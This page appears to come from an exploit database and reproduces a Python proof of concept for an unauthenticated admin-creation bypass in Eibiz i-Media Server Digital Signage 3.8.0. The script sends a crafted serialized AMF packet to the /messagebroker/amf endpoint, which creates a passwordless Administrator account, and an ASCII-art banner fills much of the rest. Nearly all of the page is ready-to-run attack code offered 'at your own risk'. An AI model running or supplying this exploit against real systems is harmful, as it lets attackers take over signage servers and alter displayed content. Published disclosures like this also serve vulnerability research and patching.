Eibiz imedia server digital signage 3.8.0 authentication bypass Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2020-08-24 | Type : webapps | Platform : hardware
This exploit / vulnerability Eibiz imedia server digital signage 3.8.0 authentication bypass is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

# Exploit Title: Eibiz i-Media Server Digital Signage 3.8.0 - Authentication Bypass
# Date: 2020-08-21
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.eibiz.co.th
# Version: <=3.8.0
# CVE: N/A

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# Eibiz i-Media Server Digital Signage 3.8.0 (createUser) Authentication Bypass (Add Admin)
#
#
# Vendor: EIBIZ Co.,Ltd.
# Product web page: http://www.eibiz.co.th
# Affected version: <=3.8.0
#
# Summary: EIBIZ develop advertising platform for out of home media in that
# time the world called "Digital Signage". Because most business customers
# still need get outside to get in touch which products and services. Online
# media alone cannot serve them right place, right time.
#
# Desc: The application suffers from unauthenticated privilege escalation and
# arbitrary user creation vulnerability that allows authentication bypass.
# Once serialized, an AMF encoded object graph may be used to persist and retrieve
# application state or allow two endpoints to communicate through the exchange
# of strongly typed data. These objects are received by the server without validation
# and authentication and gives the attacker the ability to create any user with
# any role and bypass the security control in place and modify presented data on
# the screen/billboard.
#
# =========================================================================================
#
# # python3 imedia_createUser.py 192.168.1.1 waddup
#
# --Sending serialized object...
# --Replaying...
#
# ------------------------------------------------------
# Admin user 'waddup' successfully created. No password.
# ------------------------------------------------------
#
# =========================================================================================
#
# Tested on: Windows Server 2016
# Windows Server 2012 R2
# Windows Server 2008 R2
# Apache Flex
# Apache Tomcat/6.0.14
# Apache-Coyote/1.1
# BlazeDS Application
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2020-5586
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5586.php
#
#
# 26.07.2020
#
#

import time as go
import requests
import sys
import re

class __CreateAdmin__:

def __init__(self):
self.ep = "/messagebroker/amf"
self.agent = "CharlieChaplin"
self.amfpacket = None
self.bytecount = None
self.bytesdata = None
self.address = None
self.headers = None
self.usrname = None
self.ende = None

def usage(self):
if len(sys.argv) != 3:
self.me()
msg = "\x20i-Media Server Digital Signage 3.8.0 Auth Bypass/Add Admin"
brd = "-" * len(msg + "\x20")
print("\n" + brd)
print(msg)
print("\x20Usage: ./i-media.py [ip] [username]")
print(brd)
exit(12)
else:
self.address = sys.argv[1]
self.usrname = sys.argv[2]
if not "http" in self.address:
self.address = "http://{}".format(self.address)

def amf(self):
self.headers = {"User-Agent" : self.agent,
"Accept" : "*/*",
"Accept-Language" : "en-US,en;q=0.5",
"Accept-Encoding" : "gzip, deflate",
"Origin" : self.address,
"Connection" : "close",
"Referer" : self.address + "/main.swf",
"Content-Type" : "application/x-amf"}

self.amfpacket = b"\x00\x03\x00\x00\x00\x01\x00\x04\x6E"
self.amfpacket += b"\x75\x6C\x6C\x00\x03\x2F\x33\x36\x00"
self.amfpacket += b"\x00\x01\xB3\x0A\x00\x00\x00\x01\x11"
self.amfpacket += b"\x0A\x81\x13\x4F\x66\x6C\x65\x78\x2E"
self.amfpacket += b"\x6D\x65\x73\x73\x61\x67\x69\x6E\x67"
self.amfpacket += b"\x2E\x6D\x65\x73\x73\x61\x67\x65\x73"
self.amfpacket += b"\x2E\x52\x65\x6D\x6F\x74\x69\x6E\x67"
self.amfpacket += b"\x4D\x65\x73\x73\x61\x67\x65\x0D\x73"
self.amfpacket += b"\x6F\x75\x72\x63\x65\x13\x6F\x70\x65"
self.amfpacket += b"\x72\x61\x74\x69\x6F\x6E\x13\x74\x69"
self.amfpacket += b"\x6D\x65\x73\x74\x61\x6D\x70\x09\x62"
self.amfpacket += b"\x6F\x64\x79\x11\x63\x6C\x69\x65\x6E"
self.amfpacket += b"\x74\x49\x64\x0F\x68\x65\x61\x64\x65"
self.amfpacket += b"\x72\x73\x15\x74\x69\x6D\x65\x54\x6F"
self.amfpacket += b"\x4C\x69\x76\x65\x17\x64\x65\x73\x74"
self.amfpacket += b"\x69\x6E\x61\x74\x69\x6F\x6E\x13\x6D"
self.amfpacket += b"\x65\x73\x73\x61\x67\x65\x49\x64\x01"
self.amfpacket += b"\x06\x15\x63\x72\x65\x61\x74\x65\x55"
self.amfpacket += b"\x73\x65\x72\x04\x00\x09\x03\x01\x0A"
self.amfpacket += b"\x81\x73\x1B\x64\x73\x2E\x6D\x6F\x64"
self.amfpacket += b"\x65\x6C\x2E\x55\x73\x65\x72\x11\x70"
self.amfpacket += b"\x61\x73\x73\x77\x6F\x72\x64\x0D\x63"
self.amfpacket += b"\x72\x65\x61\x74\x65\x07\x74\x65\x6C"
self.amfpacket += b"\x07\x66\x61\x78\x09\x6E\x61\x6D\x65"
self.amfpacket += b"\x0F\x61\x64\x64\x72\x65\x73\x73\x0D"
self.amfpacket += b"\x75\x70\x64\x61\x74\x65\x05\x69\x64"
self.amfpacket += b"\x0D\x6D\x6F\x62\x69\x6C\x65\x0F\x75"
self.amfpacket += b"\x44\x65\x6C\x65\x74\x65\x15\x64\x65"
self.amfpacket += b"\x70\x61\x72\x74\x6D\x65\x6E\x74\x09"
self.amfpacket += b"\x72\x6F\x6C\x65\x09\x72\x65\x61\x64"
self.amfpacket += b"\x0B\x65\x6D\x61\x69\x6C\x0F\x63\x6F"
self.amfpacket += b"\x6D\x70\x61\x6E\x79\x06\x01\x03\x06"
self.amfpacket += b"\x01\x06\x01\x06" ##################"
self.bytecount = len(self.usrname * 2) + 1
self.bytesdata = [self.bytecount]
self.amfpacket += "".join(map(chr, self.bytesdata))
self.amfpacket += (bytes(self.usrname.encode("utf-8")))
self.amfpacket += b"\x06\x01\x03\x06\x36\x06\x01\x03\x06"
self.amfpacket += b"\x01\x06\x1B\x41\x64\x6D\x69\x6E\x69"
self.amfpacket += b"\x73\x74\x72\x61\x74\x6F\x72\x03\x06"
self.amfpacket += b"\x01\x06\x01\x01\x0A\x0B\x01\x15\x44"
self.amfpacket += b"\x53\x45\x6E\x64\x70\x6F\x69\x6E\x74"
self.amfpacket += b"\x06\x0D\x6D\x79\x2D\x61\x6D\x66\x09"
self.amfpacket += b"\x44\x53\x49\x64\x06\x49\x39\x36\x42"
self.amfpacket += b"\x30\x42\x46\x38\x43\x2D\x41\x31\x31"
self.amfpacket += b"\x41\x2D\x38\x41\x32\x34\x2D\x38\x31"
self.amfpacket += b"\x43\x31\x2D\x35\x38\x37\x45\x41\x33"
self.amfpacket += b"\x41\x43\x41\x33\x38\x43\x01\x04\x00"
self.amfpacket += b"\x06\x17\x75\x73\x65\x72\x53\x65\x72"
self.amfpacket += b"\x76\x69\x63\x65\x06\x49\x39\x39\x46"
self.amfpacket += b"\x45\x43\x43\x46\x39\x2D\x34\x41\x38"
self.amfpacket += b"\x44\x2D\x46\x46\x34\x31\x2D\x31\x41"
self.amfpacket += b"\x36\x36\x2D\x42\x46\x39\x31\x32\x45"
self.amfpacket += b"\x42\x42\x44\x36\x35\x36" ##########"

print("\n--Sending serialized object...")
req = requests.post(self.address + self.ep, headers=self.headers, data=self.amfpacket)
#print(req.text.encode("utf-8"))
go.sleep(2)
print("--Replaying...")
req = requests.post(self.address + self.ep, headers=self.headers, data=self.amfpacket)
#print(req.text.encode("utf-8"))
self.ende = "Admin user '" + self.usrname + "' successfully created. No password."
print
print("-" * len(self.ende))
print(self.ende)
print("-" * len(self.ende))

def me(self):
cc = """

/`,.,,,.
:.......,,
,.........7
,.........$
......:=+=$
I.....,,:~,.:
$.?7IZDDNNN~.
$$: 8D=:I D,
D~,7NI7DNN
DDD NNN:
D8.ININ;
D8?7DZS
.ZDNNND D
S..,.~8?,N OO77
N......,..$=77:+?=~8
:......,::=.I8?:+=.=+~++
=.......,:+$=+O:+==~~++++=
8...........~7D$::~..~====:++
I.............:+.....~~~=~:~+?
N,............. .+...,:~=+~~ :+=$
;....... ......, .,....,:=+:,..~=?
Z,,...... :............,::~~=...===I
=.......$ Z...... =~,,,,.,:~,...,7~=
+....... 8.....,.=~~~:.~~~=:~ ..:$==
,...... +,..,,:.=~:~+I:,+I=8:...=?~
,....., =...,,,8+=,:~=~I=~~ N...:+?
,.,.,.8 ,..,.,?DN~+~:=+::?D ..:=?
8...... ,...7=Z$DN:?::=I~~$ =..,=+
...,..D ,....O88D,8D,:=:==+?? ...,:7
,....7 ,..:$Z8D8=8DZ~~=~+==? :..:~+
......8D .. .... :?~8D:.:~~=++ ..,~II
:....~D+: . . . ..,..==~===N +,.,=$
,. DDND.......... .,...,===+=N ..,+?Z
DD 88 .......... ....,..~+=~N ..,~?I
....... ,,.,,.:...=?? 8..~=I$
....... ...,,,,. ,:~= ..:=~?
........ ,.,,..,:.. I.:+?+D
....... .......,:,,8 ,..IN
........ .,.. ..,,:.: :8N
........ ... ..,::,, I+O
........ ......,:,. O.ZN
........ . . ...,,,,. D+
............ ....,,,. =
....... . ....,,, ?
....... .....,,, 7
...... . ..,,,, +
:..... ..,.,, 8
:....... =. .....,,,N 8
~....... D. .....,,,D 8
~....... D. . ...,,,O D
=.... .....,,Z ?`
+...... . :........,.$ +
I...... ........,.7 =
Z........ . . ....,,7 D
N..... ... . ........I 8
..... ... , ........I 8
...... . = .. .....I 7
:.. . ..7 8... .....I ?
Z.. D .. ....7 N NND88OOOOOOO88DN
O.. . .. ....O O D8OZ$77II777$$ZO8DN
... . .. . .....N NNNNDDD+D888OOZ$7IIIIII7$ZO8DDN
.,. ....O O.. ..88OOZZ$$777~777IIIIIIIIIIIIIII77$Z8N
$.. ...88.. ..:ZZZZ$77IIII,IIIIIIIIII77777IIII7ZODN
... ... ,7777IIIIIIII,IIIIII77$O88OZ7III7Z8N
Z.. ~7. . ,IIIIIIIIIIIII,IIII7$O8DN NDO$77$Z8N
=.. .. . 8. .IIIIIIIIIIIIII~I7$Z8DN NND88DDN
... .?, I777IIIIIIIII7$~O8N NNNNN
8.... .I. ...7IIIIII7$Z8DD NNNNN
NND=....~,=~ ...+I . . ..I$$ZO8DN NN NNNNN
N.+?~.~,=~=... ... $O.. . ...~:..=IINN $NNN
?,:..:,.=N I.....,,=I+ N8
~....,8

"""

j = 0
while j < len(cc):
char = cc[j]
sys.stdout.write(char)
go.sleep(10.0 / 100000.0)
j = j + 1

def main(self):
self.usage()
self.amf()

if __name__ == '__main__':
__CreateAdmin__().main()